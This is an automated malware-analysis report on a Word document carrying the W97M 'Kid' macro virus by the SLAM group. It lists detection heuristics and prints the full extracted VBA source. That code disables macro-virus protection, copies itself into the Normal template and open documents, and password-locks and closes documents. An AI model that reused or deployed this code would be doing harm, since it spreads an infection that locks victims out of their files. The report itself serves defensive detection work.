MALICIOUS
196
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample exhibits characteristics of a legacy WordBasic macro virus, including specific markers and the presence of VBA macros. The AutoOpen, AutoClose, and ToolsMacro subroutines suggest an intent to execute code upon document interaction or closure. The script also attempts to set document passwords and display messages, which are common tactics for older macro malware.
Heuristics 6
-
ClamAV: Doc.Trojan.Kid-4 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Kid-4
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3772 bytes |
SHA-256: 9931490eda5e918dc2bd01df7bb74cff44a042bec9f865f4e4c6e63985e2f4c2 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Kid"
Sub KidChaos()
On Error GoTo Kc
If (Rnd() < 0.4) Then
With Assistant.NewBalloon
.BalloonType = msoBalloonTypeBullets
.Icon = msoIconTip
.Button = msoButtonSetOkCancel
.Heading = "Word97.Kid by KC [SLAM]"
.Labels(1).Text = "Greetings to SLAM memberz:"
.Labels(2).Text = "Virtual Daemon, Aurodreph, CyberYoda"
.Labels(3).Text = "Dark Chakal, Darx Kies, Forms"
.Labels(4).Text = "RaidX, Stealth Warrior & Trigger"
.Show
End With
End If
Kc:
End Sub
Sub FileTemplates()
On Error GoTo Ft
If (Day(Now()) > 15) Then
MsgBox "Kid Chaos of SLAM Virus Team", vbCritical, "About... :-)"
ActiveDocument.Password = "KC"
Documents.Close SaveChanges:=wdSaveChanges
End If
Ft:
End Sub
Sub ToolsMacro()
On Error GoTo St
ActiveDocument.Password = "KidChaos"
Documents.Close SaveChanges:=wdSaveChanges
Call KidChaos
St:
End Sub
Sub ViewVBcode()
On Error GoTo Vv
ActiveDocument.Password = "SLAM98"
Documents.Close SaveChanges:=wdSaveChanges
Call KidChaos
Vv:
End Sub
Sub AutoClose()
On Error GoTo Ac
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
Options.VirusProtection = False
Set ActiveDoc = ActiveDocument
Set GlobalDoc = NormalTemplate
DocInf = False
GloInf = False
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "Kid" Then
DocInf = True
End If
Next
If DocInf = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Kid", Object:=wdOrganizerObjectProjectItems
ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
End If
For J = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(J).Name = "Kid" Then
GloInf = True
End If
Next
If GloInf = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Kid", Object:=wdOrganizerObjectProjectItems
End If
Application.DisplayAlerts = wdAlertsAll
Ac:
End Sub
Sub AutoOpen()
On Error GoTo Au
Call KidChaos
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
Options.VirusProtection = False
Set ActiveDoc = ActiveDocument
Set GlobalDoc = NormalTemplate
DocInf = False
GloInf = False
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "Kid" Then
DocInf = True
End If
Next
If DocInf = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Kid", Object:=wdOrganizerObjectProjectItems
ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
End If
For J = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(J).Name = "Kid" Then
GloInf = True
End If
Next
If GloInf = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Kid", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If
Application.DisplayAlerts = wdAlertsAll
Au:
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.